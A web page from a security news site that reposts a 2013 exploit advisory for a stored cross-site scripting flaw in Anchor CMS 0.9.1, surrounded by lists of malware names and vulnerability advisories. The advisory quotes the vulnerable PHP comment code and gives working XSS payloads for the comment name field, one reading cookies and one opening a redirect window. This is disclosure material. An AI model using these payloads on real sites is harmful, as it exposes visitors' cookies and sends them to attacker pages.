The goal of this project is to make virtual world a safer and better place without child pornography, major computer crime and RIAA.
Login As
You can log in if you are registered at one of these services:
Security Bulletins
Latest Malware Updates

Infostealer.Posteal

02/26/2015

Downloader.Busadom

02/26/2015

Trojan.Ladocosm

02/26/2015

SONAR.SuspDocRun

02/25/2015

SONAR.SuspHelpRun

02/25/2015
07/18/2013

Anchor CMS 0.9.1 - Stored XSS Vulnerability

# Exploit Title    :    AnchorCMS Stored XSS exploit v0.9.1
# Exploit Author:    DURAKIBOX / dn5
# Website        :    halisduraki.com
# Email            :    duraki@null.net
# Date            :    18.7.2013.
# CMS uri        :    http://anchorcms.com/
# Version         :    AnchorCMS <= 0.9.1

# About the CMS
Anchor is a super-simple, lightweight blog system, made to let you just write. It's still a new CMS but it has a lot of options even if it's coded by one person. Inital coder is Visual Idiot. Anchor is open-source project also located on Github.

# About the exploit
-> File     :    article.php file shows article/post page with text written by owners. If owner enable comments for specific post, attacker can execute                      malicious content using a comment form. The malicious content could be either JavaScript code, but may also include HTML, Flash etc.                The code is executed over form where "Name" field is actual vulnerability.

                As seen in code bellow, the function "comment_form_url()" is called through POST action.                
                <form id="comment" class="commentform wrap" method="post" action="<?php echo comment_form_url(); ?>#comment">

                The code bellow show us a field which is vulnerable with function "comment_form_input_name"
                <p class="name">
                    <label for="name">Your name:</label>
                    <?php echo comment_form_input_name('placeholder="Your name"'); ?>
                </p>    


                \functions\comments.php file contain function for posting comment.
                function comment_form_url() {
                    return Uri::to(Uri::current());
                }


                article.php file also contain a code for showing comments if they are enabled. The most specific one for us is function
                "comment_name()" which is actual result of exploit.
                <?php if(comments_open()): ?>
                        <?php if(has_comments()): ?>
                        <ul class="commentlist">
                            <?php $i = 0; while(comments()): $i++; ?>
                                ...
                                    <h2><?php echo comment_name(); ?></h2>
                                ...
                                    <span class="counter"><?php echo $i; ?></span>
                            <?php endwhile; ?>
                <?php endif; ?>

# PoC (Proof of Concept)
Lets put some assumptions - CMS have original files
                          - Article have comments enabled
                           +++++++++++++++++++++++++++++++

If we comment on article in this way -
    Name     :    <script>alert(document.cookie)</script>
    Email    :    anything@service.com
    Text     :    Stored XSS

    RESULT     :    Who ever access article with comment above will get the same result, a cookie stored in.

If we comment on article in this way -
    Name     :    <img src="http://redirect/exploit/"; onerror=window.open("http://www.example.com";,"szck",'height=500,width=500');>
    Email     :    anything@service.com
    Text     :    Stored XSS

    RESULT  :    Who ever access article with comment above will be redirected to "example.com" website.

In both example we see that attacker can execute malicious code over stored-xss so users can infect their self, either expose their cookie over gate which attacker can set-up or download malware from redirected website.

=======================================================
+ dn5 | @ludi_zeko | www.halisduraki.com
=======================================================

Security Advisories Database

Remote Code Execution Vulnerability in Microsoft OpenType Font Driver

A remote attacker can execute arbitrary code on the target system.

07/21/2015

SQL Injection Vulnerability in Piwigo

SQL inection vulnerability has been discovered in Piwigo.

02/05/2015

Cross-site Scripting Vulnerability in DotNetNuke

A cross-site scripting (XSS) vulnerability has been discovered in DotNetNuke.

02/05/2015

Cross-site Scripting Vulnerability in Hitachi Command Suite

A cross-site scripting vulnerability was found in Hitachi Command Suite.

02/02/2015

Denial of service vulnerability in FreeBSD SCTP RE_CONFIG Chunk Handling

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Apache Traffic Server HTTP TRACE Max-Forwards

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in MalwareBytes Anti-Exploit &quot;mbae.sys&quot;

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Linux Kernel splice

An attacker can perform a denial of service attack.

01/29/2015

Denial of service vulnerability in Python Pillow Module PNG Text Chunks Decompression

An attacker can perform a denial of service attack.

01/20/2015